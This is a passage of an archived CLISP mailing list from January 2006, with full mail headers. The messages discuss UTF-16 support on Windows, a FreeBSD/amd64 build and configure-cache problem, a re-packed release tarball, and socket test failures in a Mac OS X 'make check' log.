6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5-b22 (windows-nt) Cancel-Lock: sha1:dq4CD8Nmz1VByGSyg+FqEb/1ci8= X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: utf-16 on windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 14:05:01 2006 X-Original-Date: Thu, 12 Jan 2006 17:03:04 -0500 Sam Steingold writes: >> * Surendra Singhi [2006-01-12 13:49:47 -0500]: >> >> I am using the 2.37 release on Windows, and utf-16 is not present. > as documented above. > >> So, do I have to compile clisp on windows with libc/libiconv to get >> utf-16, > > yes. use mingw or download the Yaroslav's version > (..-with-readline-and-gettext...). > Thanks. I am indeed using that. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html ,---- | WHY SHOULD WE SAVE TIGER? | Ans: Saving the tiger means saving mankind.. | | Help http://pudang.tripod.com/ | or https://secure.worldwildlife.org/forms/tiger_appeal_1.cfm `---- From mi+kde@aldan.algebra.com Thu Jan 12 22:55:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExIq7-00043o-6X for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 22:55:11 -0800 Received: from aldan.algebra.com ([216.254.65.224]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1ExIq6-0002rM-Qf for clisp-list@lists.sourceforge.net; Thu, 12 Jan 2006 22:55:11 -0800 Received: from aldan.algebra.com (blue [127.0.0.1]) by aldan.algebra.com (8.13.4/8.13.4) with ESMTP id k0D6sdaJ078041 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 13 Jan 2006 01:54:39 -0500 (EST) (envelope-from mi+kde@aldan.algebra.com) Received: from localhost (localhost [[UNIX: localhost]]) by aldan.algebra.com (8.13.4/8.13.4/Submit) id k0D6satS078040; Fri, 13 Jan 2006 01:54:36 -0500 (EST) (envelope-from mi+kde@aldan.algebra.com) From: Mikhail Teterin To: sds@gnu.org User-Agent: KMail/1.8.2 Cc: clisp-list@lists.sourceforge.net, andreas_eder@gmx.net, jakub@rehor.net X-Face: %UW#n0|w>ydeGt/b@1-.UFP=K^~-:0f#O:D7whJ5G_<5143Bb3kOIs9XpX+"V+~$adGP:J|SLieM31VIhqXeLBli" X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] trying to build clisp-2.37 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Jan 12 22:56:02 2006 X-Original-Date: Fri, 13 Jan 2006 01:54:36 -0500 Hi, Sam! I finally got around to trying to build clisp on FreeBSD/amd64 using your patch. There are following problems: 1) A confusion exists with the checksums of the clisp-2.37.tar.bz2 Have you, guys, re-released a different file under the same name? The release checksum-ed by maintainer is 8050684 bytes, but what is available on the download sites is 8052113. Or has someone hacked you and planted a trojan? 2) Even if I try to build it (thanks to the bsd.diff you left in ~sds/ on my aldan.algebra.com), configure fails with the following: [...] configure: configuring in vacall_r configure: running /bin/sh '../../../ffcall/callback/vacall_r/configure' --prefix=/opt '--srcdir=../../ffcall/callback' '--prefix=/opt' '--cache-file=../config.cache' 'CFLAGS=-O2 -fno-strict-aliasing -pipe -march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP' 'CXX=c++' 'CC=cc' 'CXXFLAGS=-O2 -fno-strict-aliasing -pipe -march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP' --cache-file=../../config.cache --srcdir=../../../ffcall/callback/vacall_r configure: loading cache ../../config.cache configure: error: `CFLAGS' has changed since the previous run: configure: former value: -O2 -fno-strict-aliasing -pipe -march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP configure: current value: -O2 -fno-strict-aliasing -pipe -march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP configure: error: changes in the environment can compromise the build configure: error: run `make distclean' and/or `rm ../../config.cache' and start over configure: error: /bin/sh '../../../ffcall/callback/vacall_r/configure' failed for vacall_r Note the "former value" having an extra space before the `-DNO_TRIVIALMAP'. Now to the insides of the patch. You define oint_addr_relevant_len as 32 -- should not it be something like ``sizeof(void*)*8''? I remember you mentioning some performance penalties due to this platform (FreeBSD/amd64) being "unusual". Which features are missing and how do I re-enable them? Thanks a lot! -mi From kavenchuk@jenty.by Fri Jan 13 03:19:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExMxS-0005w0-OY for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 03:19:02 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExMxP-0003k7-LD for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 03:19:02 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id Z8FQKHJ6; Fri, 13 Jan 2006 13:20:17 +0200 Message-ID: <43C78CFA.8000504@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Surendra Singhi CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: utf-16 on windows? References: <8xtlp0iv.fsf@netscape.net> In-Reply-To: <8xtlp0iv.fsf@netscape.net> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 13 03:20:01 2006 X-Original-Date: Fri, 13 Jan 2006 13:20:26 +0200 Surendra Singhi wrote: >>>I am using the 2.37 release on Windows, and utf-16 is not present. >> >>as documented above. >> >> >>>So, do I have to compile clisp on windows with libc/libiconv to get >>>utf-16, >> >>yes. use mingw or download the Yaroslav's version >>(..-with-readline-and-gettext...). >> > > Thanks. I am indeed using that. > This is wrong. clisp under mingw does not use libiconv.dll! Some time ago Bruno has disabled use of external libiconv under mingw (see Changelog). libiconv.dll is used by the libintl.dll only -- WBR, Yaroslav Kavenchuk. From kavenchuk@jenty.by Fri Jan 13 03:19:13 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExMxd-0005wU-2m for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 03:19:13 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExMxc-0006ic-Kz for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 03:19:13 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id Z8FQKHJ8; Fri, 13 Jan 2006 13:20:32 +0200 Message-ID: <43C78D07.8000803@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.12) Gecko/20050915 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Jeff Bowman CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp + oracle + mingw build problems References: In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 13 03:20:07 2006 X-Original-Date: Fri, 13 Jan 2006 13:20:39 +0200 Jeff Bowman wrote: > I need to build a version of clisp with oracle support on windows. I > downloaded and install MinGW, msys and msysDTK (all at current levels > rather than candidate or previous as much as possible). > > I tried to build clisp from cvs with this command line from the oracle > section of the impnotes: > > ./configure --without-readline \ > --with-dynamic-ffi \ > --with-dynamic-modules \ > --with-module=syscalls \ > --with-module=wildcard \ > --with-module=regexp \ > --with-module=bindings/glibc \ > --with-module=oracle \ > --with-libsigsegv-prefix=/clisp/clisp/tools/i686-pc-mingw32 \ > --build oralisp You have lost --with-mingw -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Jan 13 06:26:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExPsz-0004kF-7a for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 06:26:37 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExPsw-0004I3-Cr for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 06:26:36 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0DEPXLc024551; Fri, 13 Jan 2006 09:25:38 -0500 (EST) To: Mikhail Teterin , Mikhail Teterin Cc: clisp-list@lists.sourceforge.net, andreas_eder@gmx.net, jakub@rehor.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <200601130154.36733@aldan> (Mikhail Teterin's message of "Fri, 13 Jan 2006 01:54:36 -0500") References: <200601130154.36733@aldan> Mail-Followup-To: Mikhail Teterin , Mikhail Teterin , clisp-list@lists.sourceforge.net, andreas_eder@gmx.net, jakub@rehor.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: trying to build clisp-2.37 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 13 06:27:09 2006 X-Original-Date: Fri, 13 Jan 2006 09:24:45 -0500 Hi Mikhail, > * Mikhail Teterin [2006-01-13 01:54:36 -0500]: > > There are following problems: > > 1) A confusion exists with the checksums of the > clisp-2.37.tar.bz2 > Have you, guys, re-released a different file under the same > name? The release checksum-ed by maintainer is 8050684 bytes, > but what is available on the download sites is 8052113. > > Or has someone hacked you and planted a trojan? I had to modify the source distribution because a configure file somehow kept the previous version number. > 2) Even if I try to build it (thanks to the bsd.diff you left > in ~sds/ on my aldan.algebra.com), configure fails with the > following: > > [...] > configure: configuring in vacall_r > configure: running /bin/sh '../../../ffcall/callback/vacall_r/configure' > --prefix=/opt '--srcdir=../../ffcall/callback' '--prefix=/opt' > '--cache-file=../config.cache' 'CFLAGS=-O2 -fno-strict-aliasing -pipe > -march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP > -DNO_TRIVIALMAP' 'CXX=c++' 'CC=cc' 'CXXFLAGS=-O2 -fno-strict-aliasing -pipe > -march=opteron -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP > -DNO_TRIVIALMAP' --cache-file=../../config.cache > --srcdir=../../../ffcall/callback/vacall_r > configure: loading cache ../../config.cache > configure: error: `CFLAGS' has changed since the previous run: > configure: former value: -O2 -fno-strict-aliasing -pipe -march=opteron > -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP > configure: current value: -O2 -fno-strict-aliasing -pipe -march=opteron > -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP > configure: error: changes in the environment can compromise the build > configure: error: run `make distclean' and/or `rm ../../config.cache' > and start over > configure: error: /bin/sh '../../../ffcall/callback/vacall_r/configure' > failed for vacall_r rm -rf build-dir ./configure ... build-dir > Now to the insides of the patch. You define oint_addr_relevant_len as > 32 -- should not it be something like ``sizeof(void*)*8''? no. > I remember you mentioning some performance penalties due to this > platform (FreeBSD/amd64) being "unusual". Which features are missing > and how do I re-enable them? Thanks a lot! -DNO_MULTIMAP_SHM -DNO_MULTIMAP_FILE -DNO_SINGLEMAP -DNO_TRIVIALMAP see the porting notes in clisp/unix/PLATFORMS for details -- Sam Steingold (http://www.podval.org/~sds) running w2k http://pmw.org.il http://www.jihadwatch.org http://www.memri.org http://ffii.org http://www.openvotingconsortium.org http://truepeace.org I may be getting older, but I refuse to grow up! From dvstarr@earthlink.net Fri Jan 13 07:25:51 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExQoJ-0006o7-AB for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 07:25:51 -0800 Received: from pop-cowbird.atl.sa.earthlink.net ([207.69.195.68]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExQoI-00006f-FE for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 07:25:51 -0800 Received: from dialup-4.245.209.69.dial1.stamford1.level3.net ([4.245.209.69]) by pop-cowbird.atl.sa.earthlink.net with esmtp (Exim 3.36 #10) id 1ExQoB-0002mc-00 for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 10:25:44 -0500 Mime-Version: 1.0 (Apple Message framework v623) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Dan Starr X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Mac OS X make check Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 13 07:26:02 2006 X-Original-Date: Fri, 13 Jan 2006 10:25:43 -0500 I get the following after doing make check. Sockets are not an issue with my own programs, but I suppose this should be fixed. ======================= RUN-TEST: finished "excepsit" (0 errors out of 372 tests) finished 48 files: 30 errors out of 10,359 tests 1 alltest: 0 errors out of 631 tests 2 array: 0 errors out of 290 tests 3 backquot: 0 errors out of 88 tests 4 bin-io: 0 errors out of 15 tests 5 characters: 0 errors out of 221 tests 6 clos: 0 errors out of 482 tests 7 defhash: 0 errors out of 6 tests 8 encoding: 0 errors out of 31 tests 9 eval20: 0 errors out of 21 tests 10 floeps: 0 errors out of 20 tests 11 format: 0 errors out of 259 tests 12 genstream: 0 errors out of 14 tests 13 hashlong: 0 errors out of 10 tests 14 hashtable: 0 errors out of 7 tests 15 iofkts: 0 errors out of 218 tests 16 lambda: 0 errors out of 89 tests 17 lists151: 0 errors out of 201 tests 18 lists152: 0 errors out of 255 tests 19 lists153: 0 errors out of 1 test 20 lists154: 0 errors out of 46 tests 21 lists155: 0 errors out of 25 tests 22 lists156: 0 errors out of 20 tests 23 loop: 0 errors out of 130 tests 24 macro8: 0 errors out of 193 tests 25 map: 0 errors out of 64 tests 26 mop: 0 errors out of 217 tests 27 number: 0 errors out of 3,655 tests 28 number2: 0 errors out of 252 tests 29 pack11: 0 errors out of 202 tests 30 path: 0 errors out of 134 tests 31 setf: 0 errors out of 167 tests 32 socket: 30 errors out of 58 tests 33 steele7: 0 errors out of 85 tests 34 streams: 0 errors out of 361 tests 35 streamslong: 0 errors out of 14 tests 36 strings: 0 errors out of 407 tests 37 symbol10: 0 errors out of 147 tests 38 symbols: 0 errors out of 5 tests 39 time: 0 errors out of 21 tests 40 type: 0 errors out of 272 tests 41 weak: 0 errors out of 120 tests 42 weakhash: 0 errors out of 25 tests 43 weakhash2: 0 errors out of 46 tests 44 bind: 0 errors out of 67 tests 45 weakptr: 0 errors out of 240 tests 46 conditions: 0 errors out of 89 tests 47 restarts: 0 errors out of 66 tests 48 excepsit: 0 errors out of 372 tests Real time: 739.23865 sec. Run time: 697.12 sec. Space: 736984772 Bytes GC: 999, GC time: 177.26 sec. 30 Bye. (echo *.erg | grep '*' >/dev/null) || (echo "Test failed:" ; ls -l *erg; echo "To see which tests failed, type" ; echo " cat "`pwd`"/*.erg" ; exit 1) Test failed: -rw-r--r-- 1 dan dan 6243 5 Jan 23:59 socket.erg To see which tests failed, type cat /Users/dan/downloads/clisp-2.37/src/tests/*.erg make[1]: *** [compare] Error 1 make: *** [check-tests] Error 2 ~/downloads/clisp-2.37/src: cat /Users/dan/downloads/clisp-2.37/src/tests/*.erg Form: (DEFPARAMETER *SERVER* (SOCKET-SERVER)) CORRECT: *SERVER* CLISP : ERROR UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address OUT: "[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address " Form: (MULTIPLE-VALUE-LIST (SOCKET-STATUS *SERVER* 0)) CORRECT: (NIL 0) CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (DEFPARAMETER *SOCKET-1* (SOCKET-CONNECT (SOCKET-SERVER-PORT *SERVER*) "localhost" :TIMEOUT 0)) CORRECT: *SOCKET-1* CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (DEFPARAMETER *STATUS-ARG* (LIST (LIST *SERVER*) (LIST *SOCKET-1* :IO))) CORRECT: *STATUS-ARG* CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*) CORRECT: T CLISP : ERROR EVAL: variable *STATUS-ARG* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *STATUS-ARG* has no value " Form: (CDR (ASSOC *SERVER* *STATUS-ARG*)) CORRECT: T CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*)) CORRECT: :OUTPUT CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (DEFPARAMETER *SOCKET-2* (SOCKET-ACCEPT *SERVER*)) CORRECT: *SOCKET-2* CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (PROGN (PUSH (LIST *SOCKET-2* :IO) *STATUS-ARG*) (EQ *STATUS-ARG* (SOCKET-STATUS *STATUS-ARG* 0))) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (CDR (ASSOC *SERVER* *STATUS-ARG*)) CORRECT: NIL CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*)) CORRECT: :OUTPUT CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (CDDR (ASSOC *SOCKET-2* *STATUS-ARG*)) CORRECT: :OUTPUT CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (WRITE-LINE "foo" *SOCKET-1*) CORRECT: "foo" CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (FINISH-OUTPUT *SOCKET-1*) CORRECT: NIL CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (EQ (SOCKET-STATUS *STATUS-ARG* 0) *STATUS-ARG*) CORRECT: T CLISP : ERROR EVAL: variable *STATUS-ARG* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *STATUS-ARG* has no value " Form: (CDR (ASSOC *SERVER* *STATUS-ARG*)) CORRECT: NIL CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (CDDR (ASSOC *SOCKET-1* *STATUS-ARG*)) CORRECT: :OUTPUT CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (CDDR (ASSOC *SOCKET-2* *STATUS-ARG*)) CORRECT: :IO CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (MULTIPLE-VALUE-LIST (READ-LINE *SOCKET-2*)) CORRECT: ("foo" NIL) CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (CLOSE *SOCKET-1*) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (CLOSE *SOCKET-2*) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (SOCKET-SERVER-CLOSE *SERVER*) CORRECT: NIL CLISP : ERROR EVAL: variable *SERVER* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SERVER* has no value " Form: (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1* (SOCKET-CONNECT 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2* (SOCKET-ACCEPT *SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*)) CORRECT: #\a CLISP : ERROR UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address OUT: "[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address " Form: (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T)) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: :INPUT CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (READ-CHAR *SOCKET-2*) CORRECT: #\a CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: NIL CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (CLOSE *SOCKET-1*) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-1* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-1* has no value " Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0) CORRECT: :EOF CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " Form: (CLOSE *SOCKET-2*) CORRECT: T CLISP : ERROR EVAL: variable *SOCKET-2* has no value OUT: "[SIMPLE-UNBOUND-VARIABLE]: EVAL: variable *SOCKET-2* has no value " ~/downloads/clisp-2.37/src: From sds@gnu.org Fri Jan 13 07:39:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1ExR1h-0007Oq-8K for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 07:39:41 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1ExR1f-0001RM-Ew for clisp-list@lists.sourceforge.net; Fri, 13 Jan 2006 07:39:41 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.bluelnk.net [10.41.52.178]) by alphatech.com (8.12.11/8.12.11) with ESMTP id k0DFd0GW028151; Fri, 13 Jan 2006 10:39:01 -0500 (EST) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43C78CFA.8000504@jenty.by> (Yaroslav Kavenchuk's message of "Fri, 13 Jan 2006 13:20:26 +0200") References: <8xtlp0iv.fsf@netscape.net> <43C78CFA.8000504@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: utf-16 on windows? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Jan 13 07:40:02 2006 X-Original-Date: Fri, 13 Jan 2006 